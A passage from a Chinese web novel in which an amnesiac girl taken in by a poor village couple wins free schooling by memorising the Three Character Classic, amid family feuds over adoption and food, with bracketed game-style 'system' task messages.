问话的妇人撇嘴,不愿就这么放过谢二婶:“欸,光哥儿他娘,你见过那个孩子了吗?”
谢二婶想起不久前,沈仪在门口哭得不能自已,眼珠一转,假惺惺地叹了口气。
“别提了,那孩子身子不好,昨儿朱大夫守了一夜,直到天亮时分才消停下来,谁承想没过多久,朱大夫竟然又来了,想必病得十分严重。”
这下妇人们也顾不上看热闹了,皆是一脸不赞同的震惊表情。
“竟是个病秧子?”
“谢老大糊涂啊!”
谢二婶低头,眼里闪过一抹恶意。
谢义年死活不愿过继她的光哥儿,那她就让大家知道,他想要收养的那个孩子,是何等的下贱胚子。
......
谢义年和沈仪尚且不知谢二婶的盘算,送走了朱大夫,两口子坐在灶房里用朝食。
沈仪夹一筷子咸菜,在疙瘩汤里搅和两下,咸菜丝散开,白绿相间甚是好看,喝上一大口,咸淡适宜,满口留香。
“朱大夫说了,她正病着,吃不得咸菜这些味重的,待会儿我熬一碗粥,炖得软烂开花,醒了就能喝上。”
因着谢峥失忆,不记得自己姓甚名谁,他们私下里商量过后,决定以“她”代称。
待谢峥恢复记忆,或者正式成为谢家长房的孩子,再以姓名相称。
“她瘦得跟猫崽儿似的,是得补一补,白米掺着糙米,更养身。”谢义年一口下去,小半碗疙瘩汤下肚,又两口便见了底,去灶台盛疙瘩汤,“家里的米够吃吗?不够我再去隔壁扛一袋回来。”
谢老爷子年事已高,三五年没下地了。
谢老二是个懒货,惯会偷懒耍滑,让他下地干活儿就嚷嚷身上疼。
谢老三更别说了,除了读书就是会友,手不提四两,在家更是跌倒油瓶不扶,跟地主家的公子哥儿没什么区别。
可以说,谢家那二三十亩地全靠谢老大和沈仪两口子操持。
他们去年从砖瓦房搬出来,住进谢家原先的旧屋,平日里吃的粮食却是从隔壁搬来。
他们一年到头累死累活伺候庄稼,没道理便宜全让二房三房占了去。
不给粮食?
谢义年直接用抢的。
他生得又高又壮,还有一身蛮劲,一拳下去能送两个兄弟上西天。
沈仪揭开米缸盖子看了眼,估算一番:“年前够吃了。”
谢义年心里有了数,转而说起日后盘算:“我明日进城,去码头上做工。”
临近腊月,正值农闲期,田事已毕,万民皆休。
昨日出了一笔香油钱,夜里又欠下二两诊金,谢峥还要喝药,得抓紧时间挣钱,否则真要喝西北风了。
沈仪深知码头上都是重活累活,虽心疼,但也无可奈何,谁让他们目不识丁,只是面朝黄土背朝天的农民:“我多打几个络子,你拿去城里卖,也能挣几个钱。”
“好,就这么定了。”谢义年大手一拍,“争取明年上半年把欠朱大夫的钱还上。”
两人相视一笑,日子虽清苦,却是苦中有甜。
-
谢峥在炕上躺了足足三日,期间药没断过,日日粥米果腹,直到第四日才勉强能起身。
但她仍然脸色苍白,气短盗汗,全身乏力,时不时咳嗽两声,看模样活像个命不久矣的病痨鬼。
“咳咳咳——”
这不,只是弯腰穿个鞋,便咳得撕心裂肺,撑着炕东倒西歪。
沈仪坐在灶房里打络子,闻声快步走进来,轻抚谢峥后背:“怎么起来了?朱大夫说了,你身子还虚着,不宜大动。”
谢峥仰头,声线沙哑,眉眼却弯弯:“阿娘,我躺了好几日,骨头都软了,想出去晒晒太阳。”
沈仪呼吸轻颤,逃避般的蹲下身,为谢峥穿鞋:“只能晒半个时辰,外面冷,当心受寒,又要遭罪。”
鞋是谢义年亲手编织的草鞋,保暖性极差,胜在
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柔软舒适。
谢峥动动脚趾,在沈仪起身的瞬间亲亲热热地挽住她胳膊,脸贴上去,轻晃两下:“我知道啦,阿娘最疼我了。”
沈仪抿了下唇,夫君那日的规劝之言在脑海中反复回响,她深吸一口气,不去看谢峥清亮的眸子,抽回胳膊,将板凳放在门口:“乖乖坐在这儿,别乱跑。”
谢峥小尾巴似的跟在沈仪身后,靠着墙坐下,双手搭在膝盖上,连头发丝都透着乖巧:“阿娘你去忙吧,我一定乖乖的。”
沈仪唇角泄露一丝笑意,回灶房继续打络子。
......
临近午时,阳光正好。
谢峥浑身暖洋洋,呼吸间尽是未经化工污染的清新和舒畅。
这几日通过谢义年和沈仪的只言片语,谢峥了解到此地乃是凤阳县隔壁,青阳县的福乐村。
福乐村是个聚族而居的小村庄,村里有余、谢两大姓,背靠大青山,村前河水萦带,依山傍水,风景宜人。
救她的这对夫妇名为谢义年和沈仪,谢义年上有谢老爷子、谢老太太两位双亲,下有兄妹四人。
谢老二和谢义年一样,只是寻常农民,娶了同村陈家的陈丁香,育有两儿一女。
谢老三是谢家、乃至整个福乐村最有出息的,尚未及冠便考取童生功名,迎娶村塾夫子的女儿余文心为妻,同样育有两儿一女。
谢义年的两个妹妹早已出嫁,具体情况不知。
再说谢义年本人,今年二十有八,膝下却无儿无女。
谢老太太有意让谢义年过继谢老二的次子,美其名曰,替他和沈仪养老送终。
不过在谢峥看来,谢老太太此举更像是让谢义年替二房养孩子。
谢义年自己也清楚,与沈仪搬出老屋,住进破旧的黄泥房。
谢峥戳了戳泥墙,簌簌掉泥,呛得她打了个喷嚏。
沈仪看过来,谢峥揉揉鼻子,冲她做了个鬼脸。
沈仪别开眼,似在逃避什么。
谢峥无声笑了下,道德感高过头的一对夫妇。
“人之初,性本善......”
风起云蒸,琅琅读书声自西而来,传入谢峥耳中。
【滴——任务发布中.......】
【熟背三字经】
【进入村塾读书】
沈仪正埋头打络子,谢峥眼珠一转,扶着墙站起身,慢吞吞往声源处走去。
也是巧了,村塾恰好设在谢家黄泥房的隔壁,几步路就到了。
村塾门窗紧闭,窗户上糊着麻纸,看不到屋内的景况。
谢峥坐在窗槛底下的石头上,听夫子带领学生通读《三字经》。
学生多为孩童,跟读得认真,声音洪亮,一字一句,扎实有力。
通篇读完,夫子逐字逐句地讲解。
谢峥听了一会儿,脑袋有些疼,索性靠在墙上,闭眼假寐。
活埋倒是没给她造成太大影响,主要是那碗药,给这具身体带来了灭顶伤害,稍微坐一会儿就累得慌。
不过问题不大。
谢峥打算过阵子兑换一枚健体丹,将身体由内到外强化一番,体内的沉珂旧疾自然如风散去。
村塾内,夫子的讲解仍在继续。
“很久很久以前,福乐村有两只小狸花猫,哥哥叫大花,弟弟叫小花。”
“它们每日在村子里跑来跑去,从村头到村尾都留下它们欢快的叫声。”
“它们最喜欢做的事情,便是去河里捉鱼。”
“这日,大花勇猛异常,一口气捉到十条鱼,每一条都十分肥美。”
“小花运气不太好,只捉到两条小鱼。”
“小花泪眼汪汪,大花就将它捉到的鱼分了一半给小花。”
“小花喵喵叫,它问大花:‘为什么把你的鱼分给我呀?’”
“大花昂首挺胸,胸脯的毛毛柔软而又蓬松:‘村塾的夫子说啦,融四岁,能让梨,大花五岁,能让鱼!’”
夫子说到这里,话锋一转:“谁能告诉我,这个故事告诉我们什么道理?”
几乎是话音刚落下,便有学生抢答:“谦让是美德,我们理应以礼让为重,尊敬、友爱兄弟!”
“说得好,正是这个道理!”夫子语气含笑,显然十分满意,“无论孔融还是大花,他们的行为都值得我们学习......”
倒是一位别出心裁,教导有方的好老师。
谢峥正感慨,一道苍老男声自头顶响起:“你是何人?为何在村塾外偷听?”
5. 005
谢峥睁开眼,一位须发花白,身着交领短衫的阿公肩扛锄头立在她面前,不加掩饰地打量她。
“你是哪个村的?为何在此处偷听余夫子讲课?”
“我......我在家门口听见读书声,觉得十分有趣,忍不住过来瞧瞧。”谢峥扶着墙站起身,指尖蜷缩,似是惶恐不安,“您别生气,我不听了,我这就回去。”
家门口?
阿公想起这些日子村里的传言,神情略显复杂:“你可是从隔壁过来?”
谢峥眼睛睁大一瞬:“您怎么知道?”
自然是从家中老妻得知。
阿公是福乐村的村长余成仁,里面正在讲课的夫子是他同胞兄弟。
余成仁从地里除草回来,途径村塾,习惯性往这边看一眼,没想到窗槛底下竟坐着个瘦巴巴的孩子。
十里八乡仅有这么一间村塾,过去常有念不起书的孩子在村塾外偷听,余成仁早已见怪不怪。
不过出于关心,他还是上去问了两句。
这一问可不得了,竟是谢老大两口子捡回来的孩子。
据老妻所言,那孩子病得起不了身,谢家的灶房日日往外飘苦药味儿。
事实的确如此,单看谢峥苍白的小脸,就知道是个体弱多病的。
余成仁迎上谢峥盛满疑惑的眼,锄头拄地:“我掐指一算,算出来的。”
谢峥:“......”
“大哥?”余成耀听见外面有人说话,打开门探出头来,同余成仁打招呼,又看谢峥,“这孩子是谁家的?我怎的从未见过?”
余成仁抢答:“谢义年家的,我见她在外边听你讲课,过来问她几句。”
余成耀很快反应过来,思及嫁去谢家的女儿,不由一阵头疼。
余家“成”字辈的兄弟里,唯有他生了个女儿,其他都是儿子。
物以稀为贵,女儿同样如此。
兄嫂十分稀罕唯一的侄女,有什么好东西都想着她,一来二去,便养成了娇纵的性子。
到了说亲的年纪,余成耀都已经相看好了人家,是他好友的长子,家住县城,家境殷实,品行清正,且勤奋踏实。
谁料这时,女儿竟然看上了谢家老三。
余成耀又惊又怒。
在他看来,谢老三看似谦逊端方,实则轻世傲物,是个金玉其外败絮其中的伪君子,绝非自家女儿的良配。
谢家也是个虎窟狼窝,谢老太太蛮不讲理,偏心幼子,苛待长子,谢老爷子惯会搅稀泥,遇到事情总是让谢老太太冲在最前头,自个儿装聋作哑,坐享其成。
再有心安理得从兄长身上吸血的谢老二谢老三,谢家迟早要闹起来。
余成耀不同意,女儿却以死相逼。
他们实在没辙,总不能看着她去死,只得捏着鼻子同意这桩婚事。
果不其然,不出几年,谢家潜藏多年的矛盾彻底爆发。
谢老太太逼迫谢义年过继二房次子,谢义年不同意,还要求分家,因此惊动了谢家的几位叔公。
二叔公以除族相要挟,谢义年将谢家砸得稀巴烂,又揍了谢老二一顿,带着沈仪搬了出去。
看着眼眸清澈,虽瘦弱,却难掩出色相貌的孩子,余成耀心底长叹。
上个月,女儿回娘家,让他劝一劝谢义年,过继二房幼子。
“您可是十里八乡唯一的秀才,威望极高,他一定会听您的话,老老实实过继。”
“老大两口子能干,又肯吃苦,养一个光哥儿不在话下,二房省出来的银子就能用在坤哥身上,多买几本书,多买几斤肉,过两年再考个秀才回来,您面上也有光不是?”
殊不知余成耀压根对谢老三没抱希望。
过年时他曾考校过谢老三,发现谢老三竟不进反退。
不出意外的话,谢老三这辈子多半止步童生。
可惜其他人都被谢老三的那张皮囊骗了,还做着他能高中进士,入朝为官的美梦。
科举是那么容易考的吗?
君不见,多少读书人直到白发苍苍,仍然只是一个童生,仍然为了科举劳累奔波。
余成耀打定主意,坚决不掺和谢家那一摊子烂事,轻捻胡须,笑容儒雅随和:“原来是你啊,我方才讲的内容都听懂了吗?”
谢峥把头摇成拨浪鼓:“有的能听懂,有的听不懂。”
余成耀并不意外。
这孩子一看就是吃过苦头的,估计连自己的名字都不会写,更别说学习三字经了。
正欲折回去,继续讲课,谢峥清凌凌的嗓音让他定住脚步:“虽然听不懂,但是我已经会背了。”
余成耀一时没反应过来:“会背什么?”
谢峥超大声:“三字经!”
余成耀第一反应是谢峥在撒谎。
方才的课上,他只带领学生通读一遍《三字经》。
只听一遍便会背了,那是神童。
放眼大周朝,神童有如凤毛麟角,其中十之七八还是家族为其造势,存在许多水份。
或许有真神童,但绝不可能是眼前的孩子。
余成耀寻思着这样的孩子不能来硬的,还需循循善诱,遂咽下训诫的话,从善如流道:“哦?这么快就会背了?那你背一遍我听听。”
谢峥当下背起手,摇头晃脑:“人之初,性本善......”
因为毒药的缘故,谢峥喉咙受了伤,声音沙哑,总是忍不住咳嗽。
她一边咳嗽一边背诵,虽断断续续,胜在口齿伶俐,咬字清晰。
余成耀越往下听,心底的震撼越深,将课室里的学生忘到脑后,满心满眼都是眼前的谢峥。
“融四岁,能让梨,弟于长,宜先知......宜先知......”谢峥面上闪过一丝慌乱,嘴里反复念叨着这三个字,半晌后肩膀塌下,很是沮丧,“后面记不住了。”
余成耀和余成仁对视一笑,不禁笑出声。
谢峥揉两下腮帮子,拧起眉头,一脸不明所以。
余成耀眼里笑意更深,轻拍谢峥的双包头,语气难掩赞许:“只听一遍便记下这么多,已经非常不错了。”
【滴——“熟背三字经”任务已完成1/4,获得5积分。】
【当前积分:-35】
谢峥却没说什么自谦的话,抬手摸了摸右边的发包,嘴里咕哝:“阿娘早上刚给我梳的,您别给我弄乱了。”
余成耀大笑,难得起了几分逗弄的兴致,作势要去拍左边的发包。
谢峥一扭身子,躲到余成仁身后,双手护着发包:“阿公救我!”
余成仁拦下余成耀
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还要伸过来的手,虎着脸说道:“差不多行了,别把孩子惹哭了。”
余成耀正欲狡辩两句,一道柔婉女声传来:“你这孩子,怎么跑到这里来了?真是让我好找!”
三人循声望去,沈仪穿着一身交领襦裙,朝他们疾步而来。
沈仪方才打好一个络子,习惯性往门外看一眼,发现小木凳上人没了,险些心脏停跳。
她以为谢峥被谢老太太或者二房的人弄去了,正打算上门要人,忽然听见西边传来一阵说笑声。
仔细一听,其中一道声音赫然来自谢峥。
沈仪提着的心落回原处,满心后怕:“不是让你乖乖坐在门口,哪也不要去的吗?”
“阿娘!”谢峥见到沈仪,立马抛弃余成仁,蹬蹬跑过去,牵起沈仪的衣袖,一边咳一边邀功似的说道,“阿娘,我会背书了!”
沈仪面露迷茫:“背书?背什么书?”
谢峥笑眯眯:“是《三字经》哦阿娘。”
余成耀接上话头:“这孩子很聪明,只听了一遍,就将《三字经》中的一部分一字不差地背了出来。”
沈仪惊喜交加:“当真?”
“当然是真的。”谢峥有些乏力,大半个身子靠在沈仪身上,兴奋不已,“我超厉害的!”
沈仪莞尔,心里越发稀罕这个孩子。
同时,谢义年的规劝之言再度涌上心头。
沈仪眼神微黯,轻抚谢峥的发包:“嗯,的确很厉害。”
谢峥翘起唇角,晃了晃沈仪的衣袖:“阿娘我错了,我不该不听你的话,到处乱跑,你不要生气好不好?”
沈仪心头发软,轻声道:“没关系,下次别乱跑就好了。”
阿娘没有生气。
阿娘只是担心你。
谢峥一把抱住沈仪,把脸埋进沈仪腰间,声音闷闷:“阿娘你真好,我最喜欢阿娘啦!”
沈仪笑而不语,同余成仁兄弟俩颔首示意,牵着谢峥离开。
余成耀目送两人远去,感慨道:“我现在突然能理解,为何谢义年执意留下这个孩子了。”
聪慧,机敏,嘴甜。
试问谁不喜欢这样的孩子?
余成仁挥了挥手,扛起锄头往西去:“你赶紧进去讲课,我先回去了。”
余成耀退回课室:“我们继续,方才说到......”
不远处的枣树下,几个妇人一边纳鞋底,一边闲谈。
“光哥儿他娘还真没说错,瞧那小脸白的,三步一喘五步一咳,也不知得了什么病,竟这般严重。”
“谢老大为了给她治病,欠了朱大夫不少钱,她若哪天病死了,谢老大花在她身上的钱岂不打了水漂?”
“真到了那天,谢老太怕是又要借题发挥,上蹿下跳了。”
“难怪谢老大死活不肯过继光哥儿,光哥儿小眼睛塌鼻子,跟他爹一个模子刻出来似的,再看方才那孩子,俊俏又机灵,真是一个天上一个地下。”
“俊俏又咋啦?还不是个病秧子,短命鬼,谢老大两口子闹出这么大阵仗,最后什么也没捞着,还不是要求着谢老二把光哥儿过继到长房。”
“不可能吧?”
“你且看着吧,有儿子没儿子区别大着呢,单一个养老送终,谢老大就不得不低头......”
6. 006
沈仪牵着谢峥回家,一路上谢峥叽叽喳喳,活泼却不吵闹。
“阿娘,那个略年轻些的阿公好过分,他把我的头发都弄乱了,不过他讲的东西好有意思,我很喜欢......对了,我们村是不是有两只叫大花小花的猫猫,阿公说它们去河里捞鱼,还喜欢满村乱跑,我也想跟它们一起捞鱼一起玩!”
沈仪耐心听着,不时应上两句。
进了黄泥房,沈仪扒掉谢峥的袄子鞋袜,塞进被窝,素来温柔的面庞显出两分严肃:“乖乖躺着,不准再乱跑了。”
谢峥鼓了鼓脸,置气似的将被褥拉过头顶。
沈仪隔着被褥戳她:“听见没有?”
谢峥瓮声瓮气:“我睡着了。”
沈仪气笑了,终究硬不下心肠:“这样吧,准你每日出去转悠一个时辰,其他时候乖乖在家,好不好?”
谢峥“哗”地拉下被褥,头发乱蓬蓬,眼睛亮晶晶:“真的吗?”
沈仪颔首:“比真金白银还要真。”
“好耶!”谢峥脸蛋贴上沈仪垂在身侧的右手,蹭蹭,“阿娘最好了!”
沈仪揉一揉谢峥柔软的脸颊,回灶房继续打络子。
纤细手指十分灵巧,宛若翻飞的蝶。
打好一个络子,沈仪回想发现谢峥消失不见时的慌张,以及谢峥撒娇卖乖时的欢喜,不禁莞尔。
真真是甜蜜的烦恼呢。
......
谢峥这具身体实在不争气,只出门半个多时辰,大多时候还是坐着的,却累得不行,四肢酸软,心虚气短,只消须臾便沉沉睡去。
这一睡,便是一个时辰。
再睁开眼,已是傍晚时分,漫天霞光绚烂夺目,叫人见之欣喜。
谢峥盯着屋顶的蛛网发呆,沈仪走进来:“醒了?饿不饿?”
谢峥摸摸肚子,点头:“阿爹回来了吗?”
除了醒后第一日,谢义年每日都进城做工。
“没呢,估计快了。”沈仪手背贴上谢峥额角,有些细汗,“还是在屋里吃,出了汗又见风,容易着凉。”
很快,一小碗粥送到谢峥手里,熬煮得十分黏稠,温度适宜,香气扑鼻。
依旧是糙米白米掺半,谢峥喝上一口,含糊说道:“阿娘,我身子已经大好,只吃糙米即可。”
谢义年和沈仪住着黄泥房,可见家境清贫。
白米精贵,既已决定成为谢家一份子,自然要为谢家考虑。
沈仪见谢峥精气神好了许多,脸蛋也恢复几分气色,倒也爽快:“那明日的朝食吃馍馍和疙瘩汤好不好?”
谢峥自是满口应好。
一碗粥下肚,谢义年也回来了。
沈仪见到人,忙放下络子,待谢义年洗干净手,将拧干的巾帕递过去:“擦擦汗,瞧这满脸的灰。”
温热的巾帕在谢义年灰扑扑的脸上一通乱抹,他从怀中取出荷包,交给沈仪:“今日的工钱。”
沈仪数了数,足足二十五个铜板,不由喜笑颜开:“照这个速度,我们很快就能把钱还清了。”
谢义年用力点头,随娘子去灶房用夕食,不忘问及谢峥的情况。
沈仪如实照说:“......余秀才都夸她聪明哩!”
谢义年惊喜万分,三两口喝光糙米粥,一边嚼着馍馍,直奔隔壁去,却被沈仪一把拽住:“你身上全是灰,别呛着孩子。”
谢义年一想也是,又退回去,故作委屈地咕哝:“自从她来到咱家,娘子你一颗心都偏到她身上了。”
沈仪拍他一下,嗔道:“少贫嘴,赶紧洗漱去。”
“欸,好嘞!”
谢义年在灶房洗漱一番,换上干净衣服,一阵风似的卷走了。
沈仪哼笑:“还说我,你不也是。”
沈仪将抹布洗干净,挂在灶台下的细绳上,熄灭油灯,回屋就见谢义年大马金刀地坐在炕上,谢峥正给他捏肩捶背。
“阿爹,这个力道怎么样?”
“这里酸不酸?”
“这里呢?”
“还有这里。”
谢义年嗯嗯啊啊应着,脸上笑开了花,扛一整日麻包的疲惫散得一干二净。
与沈仪对视,眼里尽是炫耀。
沈仪:“......”
给谢义年捶腰捏肩过后,又轮到沈仪。
沈仪虽然有些吃味,但是更担心谢峥累着,将她摁回到炕上。
谢峥扑腾:“阿娘打了一整日的络子,也很辛苦。”
沈仪不给她反抗的机会,两边被角一折,将谢峥裹成一只蚕宝宝:“又不是什么重活,时辰不早了,赶紧睡。”
“那好吧。”谢峥打了个哈欠,瞌睡虫爬上眼皮,嘴里嘀嘀咕咕,“睡得多长得高,我要快快长大,挣好多钱,给阿爹阿娘买大宅子,让阿爹阿娘衣来伸手饭来张口,有享不尽的福!”
沈仪和谢义年齐齐愣住,看着谢峥恬静的睡颜,久久移不开眼。
熄了灯,夫妇二人上炕躺下。
沈仪毫无睡意,良久轻叹一声:“我倒是希望她的家人不会找过来。”
甚至更恶毒一点,希望那夜活埋谢峥的,是她的家人。
谢义年哑然。
有这谢峥在的这几日,是他二十八载以来最快活的日子。
他希望这样的日子能更长久一点。
最好是永远。
-
翌日,谢峥用过朝食,又睡了个回笼觉。
睡梦中感觉有人触碰她的手腕,谢峥猝然惊醒,睁眼发现是朱大夫,正半蹲着给她诊脉。
两日前朱大夫来过一次,用银针将谢峥扎成刺猬,谢峥对他印象很深,慢吞吞打了声招呼。
朱大夫睨她一眼,收回手:“今日感觉怎么样?”
谢峥老实回答:“很容易累,总想咳嗽。”
朱大夫站起身:“不必再服药了,仔细养着吧。”
谢峥松了口气,日日服药,她嘴里都冒苦水了,忽然问道:“朱大夫,我为何不记得以前的事情了?是因为这次生病吗?”
朱大夫看向沈仪,后者微微摇头,他会意,面不改色点了点头。
谢峥又问:“那我还能找回过去的记忆吗?”
朱大夫含糊其辞:“时机到了,自然就想起来了。”
谢峥有些失望,不过并未继续追问:“多谢朱大夫,找不回来就算了,只要和阿爹阿娘在一起,过去的记忆也没那么重要。”
朱大夫定定看向谢峥,只字未语,拎起药箱离开。
谢峥顺势起身:“阿娘,屋里太闷了,我想去外面透透气。”
沈仪承诺过,说话算话,只叮嘱道:“别走太远。”
谢峥嗯嗯点头,步履轻快地去了隔壁的村塾。
正值午后,余成耀刚开始讲课,正带领学生朗读《三字经》。
谢峥坐在窗槛下,靠着墙,被太阳晒得昏昏欲睡。
一个时辰后,谢峥准时睁眼,准备回家去。
余成耀突然出现,叫住她:“今日都学会了什么?”
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谢峥轻唔一声,将昨日背出来的段落大致翻译一遍,继续往下背:“首孝悌,次见闻......君则敬,臣则忠。此十义,人所同......人所同......”
谢峥敲敲脑袋,小大人似的叹气:“后面记不住了。”
余成耀眼里欣喜更甚,抬手轻拍谢峥脑袋,却摸了个空,嘴角抽搐,不着痕迹收回手:“不错,你......”
话未说完,谢峥拔腿就跑:“阿公我先回去了,一个时辰到了,阿娘见不到我会担心的。”
余成耀:“......”
如此又一日。
第三日,谢峥照常来到村塾外,坐在窗槛下偷听余夫子讲课。
一如昨日,离开时被余成耀叫住:“今日背到哪里了?”
谢峥昂首挺胸,不无得意地道:“后面的我全都会背了。”
“全都会背了?”得到肯定答复,余成耀挑眉,“我不信,除非你背给我听。”
谢峥:“......背就背。”
说罢背起手,摇头晃脑:“人之初,性本善......戒之哉,宜勉力。”
【滴——“熟背三字经”任务已完成,获得15积分。】
【当前积分:-20】
最后一句落下,谢峥扬起下巴,身后的尾巴也翘起来:“怎么样?是不是一字不差,全都背出来了?”
余成耀不答反问:“你读过书吗?”
谢峥表情迷茫一瞬,张了张嘴,轻轻摇头:“我、我不知道。”
余成耀不解:“此言何意?”
谢峥迟疑须臾:“几日前病了一场,醒来后我什么都不记得了。”
“我不记得自己叫什么,也不记得过去发生过什么。”
“我问朱大夫,他说我失忆极有可能与那场大病有关系。”
重病未愈,失去记忆,犹如浮萍一般,不知归处。
而她经历这么多,也不过垂髫之龄。
余成耀心头震撼,对谢峥的怜爱到达顶峰,沉默良久,俯身轻拍她的左肩:“孩子。”
谢峥仰头:“唔?”
余成耀温声道:“你想读书吗?”
一定是想的。
否则也不会强忍身体不适,日日前来村塾,在寒风中听他讲课。
谢峥眼睛一亮,不知想到什么,复又黯下,嗫嚅道:“阿爹阿娘为了给我治病,花了很多钱,读书也要很多钱......”
她想要读书。
但是她没有钱,读不了书。
余成耀长叹一声:“罢了,明日起你来村塾借读。”
【滴——“进入村塾读书”任务已完成,获得20积分。】
【当前积分:0】
【赊账已还清,还剩25积分的利息尚未归还。】
谢峥:“......”
百分之五十的利息?
抢钱吗你?!
谢峥呆了下:“借读?”
余成耀复述:“你可以进课室听讲。”
谢峥最关心一点:“要钱吗?”
余成耀没好气说道:“既是借读,便无需缴纳束脩。”
如同慢镜头一般,谢峥的眼睛一点一点地亮了起来,爆发出惊人的光亮。
如同烈阳,灼灼逼人。
谢峥扭头,拔腿就往家跑,高昂的声音洋溢着极致的喜悦:“阿娘!阿娘!我可以读书了!”
余成耀目送那瘦小一只蹬蹬跑远,轻捻胡须,脸上露出一抹明快笑容。
7. 007
傍晚时分,谢义年从县城乘船回村。
刚进家门,便听见谢峥欢快的嗓音:“阿爹,余夫子让我从明日开始在村塾借读,我可以读书了!”
谢义年前两日便知晓谢峥背诵《三字经》的事儿,下午扛麻包的时候还想着,倘若谢峥的家人没有找来,谢峥成为他和娘子的孩子,他得加倍努力挣钱,争取早日送谢峥去读书。
他自己是个面朝黄土背朝天的农民,干的都是力气活,不希望谢峥长大后跟他一样,终年在地里刨食,至死都被困在这小小的福乐村里。
没想到竟有意外之喜,谢峥凭自己的努力进了村塾。
谢义年欣喜若狂,用力搓两下脸,嘴角咧到耳朵根:“这是大喜事,得好好庆祝一下。”
沈仪附和:“下午我从地里刨了两棵白菜,烧腊肉怎么样?”
谢峥去过灶房,没见有什么腊肉,莫非收在橱柜里?
正纳闷,谢义年一撸袖子,露出精壮小臂,雄赳赳气昂昂地出了门。
谢峥不解:“阿爹这是去哪?”
灶房在西边,可谢义年是往东去的。
不待沈仪解答,屋外传来气急败坏的谩骂。
“混账!畜生!天杀的谢义年!你给老娘站住!”
“我的肉!我的肉啊!”
“快来人啊,谢义年抢肉了!”
“老二你还愣着干什么?赶紧把肉抢回来,那可是留给你弟的,上边儿都是肥肉,吃了可补身子!”
谢峥:“......”
谢义年踩着歇斯底里的哭喊声冲进门,反手将木门关上,后背抵着门,在震耳欲聋的敲门声中高举小臂长的腊肉,眼角眉梢俱是得意的笑:“我挑了最肥的一块腊肉,今儿吃一顿,剩下的留着过年。”
“谢义年,你给我开门!”
“大哥!我的亲大哥欸!赶紧把门打开,把腊肉还回来,当心咱娘又去找二叔爷他们。”
谢义年撇嘴,他早已不是当年的谢义年了,不会任人欺负,任人压榨。
几位叔爷见识过他的狠劲儿,哪会为了一块腊肉找过来。
沈仪接过腊肉,眉目含笑:“今晚上做白菜腊肉,明儿一早我去买几张百叶,晚上换换口味。”
她已经记不清有多久没沾荤腥了。
搬出来之前,家里的鸡蛋等荤腥全都进了谢老三和几个侄子肚里。
搬出来之后,他们手头拮据,抠抠搜搜剩下来的几个铜板全都用来求子了,有一段时间日日以野菜果腹,哪里舍得买肉吃。
敲门声渐止,脚步声渐行渐远。
谢峥压下唇畔笑意,走到谢义年面前,圈住他两根手指:“阿爹好厉害。”
谢义年受了二十多载的风吹日晒,自诩脸皮堪比城墙厚,这会儿却老脸一红:“家里的钱十之八.九都是我们挣的,凭什么他们吃肉,我们吃草?要吃就一起吃,大口地吃!”
沈仪抿唇笑,拉开门往灶房去:“我去做饭,年哥你陪孩子玩会儿。”
谢峥眨了眨眼:“阿娘白日里一直在打络子,和阿爹一样,也很辛苦,我想去给阿娘搭把手。”
谢义年弯腰,一把抱起谢峥,大步追过去:“正好,我也有这个打算。”
谢峥没想到谢义年会这么做,视角升高的一瞬间,心脏猛地跳了下,攥住谢义年肩头的衣料,深吸一口气才稳住心跳,左手虚虚抓握两下,扶在谢义年肩头:“阿爹。”
谢义年:“嗯?”
谢峥幽幽道:“您在码头扛麻包,身上好多泥灰,但是我的袄子是干净的......”
谢义年虎躯一震。
谢峥:“......待会儿阿娘见了,一定会生气的。”
谢义年有些慌,眼珠乱转,冷汗直往外冒,他只顾着高兴,还真忘了这一茬:“那、那我让她揪两下耳朵?”
谢峥摸摸下巴,一脸深沉:“看在阿爹抱我的份上,我勉强替您跟阿娘求求情吧。”
谢义年轻抚了抚谢峥的发包,一本正经表示:“有你这句话,我就放心了。”
谢峥嗤嗤地笑,跟一尾鱼似的,险些从谢义年怀里滑出去。
谢义年欸欸几声,轻拍谢峥后背:“乖一点,别乱动。”
谢峥轻哼,不动了。
进了灶房,沈仪火眼金睛,一眼看见谢峥袄子上的泥灰,瞪了谢义年一眼,巴掌落在他胳膊上。
谢义年叠声讨饶,不见一丝不情愿,颇有几分乐在其中。
......
黄泥房里洋溢着温馨,隔壁砖瓦房里,却是一片鬼哭狼嚎。
“那么大一块肉,老三一口没吃上,全进了那两个白眼狼跟小野种的肚里!”
“老二你也是个没用的,连一块肉都抢不回来!”
谢老太太哭天抢地,那嗓门,恨不得全村人都知道谢义年做了什么。
谢老爷子坐在正对门的主位上,吧嗒吧嗒抽旱烟,阴着脸一言不发。
谢老二打了个哈欠,翘着二郎腿,一副无赖相。
谢二婶端着碗从灶房出来,余光瞥了眼倚着门框看热闹的妯娌,用力咳嗽两声。
谢老太太骂声一顿:“嗓子痒就拿鞋底拍拍,咳什么咳?”
谢二婶涨红脸,忍气吞声说道:“您别惦记那块腊肉了,方才大哥过来,我可都听见了,他说他捡来的那个野孩子去村塾读书了。”
“爹娘您二位也该清楚,读书可烧钱,光是买墨买纸,一年下来就要不少银子。”
“翻了年信哥儿也到了去村塾的年纪,上来就要交一两束脩,再加上另外三个哥儿,拢共四两银子。”
“三弟在县城读书要钱,租房子也要钱,再这么下去,我们不得喝西北风?”
“反倒是大哥大嫂,他俩无儿无女,落得一身轻松,还有精力养别人家的野孩子......”
“这不成!我不同意!”谢老太太一拍桌,饭碗震三震,“老三媳妇,你爹真是老糊涂了,什么下贱胚子都收,你赶紧去跟他说,让他把那小野种踢出去,不准她在村塾读书。”
老大翅膀硬了,她没法子掌控,老三媳妇满心满眼都是老三,只要她回娘家闹上一闹,亲家公指不定就答应了。
谢三婶没想到火突然烧到自己身上,脸色一僵,打着哈哈:“我一个外嫁女,哪里说得上话。”
虽然她也觉得她爹脑子进水了,明知长房和三房之间的龃龉,却宁愿让谢峥借读,也不愿免除亲外孙的束脩,但她心里跟明镜似的,她爹很不满自己当初死活要嫁给谢老三,这些年从未给过她一个好脸色,她实在不愿热脸贴她爹的冷屁股。
谢三婶一扭身子,直奔灶房:“我去看看鸡蛋煮好了没。”
读书耗神,谢老爷子亲自发话,三个正在读书的孙子每隔五日可以吃一个鸡蛋。
每逢这日,便是几个男孩最幸福的时刻。
谢老太太气得直翻白眼,又顾
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忌亲家公是村塾夫子,憋了一肚子气,全奔着谢二婶去了:“吃吃吃,就知道吃!圈里的猪都没你能吃!”
啃着馍馍的谢二婶:“......”
不是,她招谁惹谁了?
谢老太太将萝卜丁夹在馍馍里,咬上一口:“老二,你啥时候进城卖柴火?”
谢老二眯着眼,一副睡不醒的样子:“明日一早。”
